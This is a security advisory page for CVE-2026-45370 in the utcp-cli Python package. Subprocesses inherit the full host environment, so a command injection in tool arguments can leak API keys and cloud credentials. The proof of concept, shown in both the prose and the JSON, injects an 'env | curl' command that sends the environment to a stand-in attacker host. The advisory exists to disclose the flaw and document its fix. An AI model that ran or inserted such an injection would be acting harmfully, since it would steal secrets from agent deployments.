GHSA-5V57-8RXJ-3P2R

Vulnerability from github – Published: 2026-05-14 20:56 – Updated: 2026-05-15 23:47
VLAI
Summary
python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection
Details

Summary

_prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in _substitute_utcp_args() tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.

Vulnerable Code

# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
    env = os.environ.copy()        # All secrets inherited
    if provider.env_vars:
        env.update(provider.env_vars)
    return env

Impact

Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:

  • Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)
  • Database connection strings (DATABASE_URL)
  • LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)
  • Internal service tokens

Proof of Concept

# Tool defined as:
{"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"}

# Attacker supplies:
tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}

# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)
# -> Full env dump sent to attacker including all secrets

Patched

Fixed in utcp-cli 1.1.2. _prepare_environment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inherit_env_vars field:

  • null (default): a small built-in OS-specific allowlist (PATH, HOME, LANG on Unix; PATH, PATHEXT, SYSTEMROOT, USERPROFILE, etc. on Windows) is inherited so shells and binaries continue to work.
  • []: strict mode -- nothing from the host environment reaches the subprocess; only env_vars is propagated.
  • ["FOO", "BAR"]: exactly those host variables are inherited (replaces, not merges with, the default allowlist).

env_vars is always layered on top and overrides any inherited value. Secrets like OPENAI_API_KEY no longer reach the subprocess unless the call template explicitly opts them in.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.

Credit

Reported by @ZeroXJacks.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "utcp-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-526"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:56:07Z",
    "nvd_published_at": "2026-05-14T21:16:48Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`_prepare_environment()` in `cli_communication_protocol.py` passes a full copy of `os.environ` to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in `_substitute_utcp_args()` tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.\n\n## Vulnerable Code\n\n```python\n# cli_communication_protocol.py\ndef _prepare_environment(self, provider: CliCallTemplate) -\u003e Dict[str, str]:\n    env = os.environ.copy()        # All secrets inherited\n    if provider.env_vars:\n        env.update(provider.env_vars)\n    return env\n```\n\n## Impact\n\nAny environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:\n\n- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)\n- Database connection strings (DATABASE_URL)\n- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)\n- Internal service tokens\n\n## Proof of Concept\n\n```python\n# Tool defined as:\n{\"command\": \"grep UTCP_ARG_pattern_UTCP_END logfile.txt\"}\n\n# Attacker supplies:\ntool_args = {\"pattern\": \"x; env | curl -s -d @- https://attacker.com\"}\n\n# Executed bash script:\n# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2\u003e\u00261)\n# -\u003e Full env dump sent to attacker including all secrets\n```\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_prepare_environment` no longer copies the full host environment. Inheritance is controlled by a new `CliCallTemplate.inherit_env_vars` field:\n\n- `null` (default): a small built-in OS-specific allowlist (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`, `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is inherited so shells and binaries continue to work.\n- `[]`: strict mode -- nothing from the host environment reaches the subprocess; only `env_vars` is propagated.\n- `[\"FOO\", \"BAR\"]`: exactly those host variables are inherited (replaces, not merges with, the default allowlist).\n\n`env_vars` is always layered on top and overrides any inherited value. Secrets like `OPENAI_API_KEY` no longer reach the subprocess unless the call template explicitly opts them in.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.\n\n## Credit\n\nReported by @ZeroXJacks.",
  "id": "GHSA-5v57-8rxj-3p2r",
  "modified": "2026-05-15T23:47:02Z",
  "published": "2026-05-14T20:56:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-5v57-8rxj-3p2r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45370"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…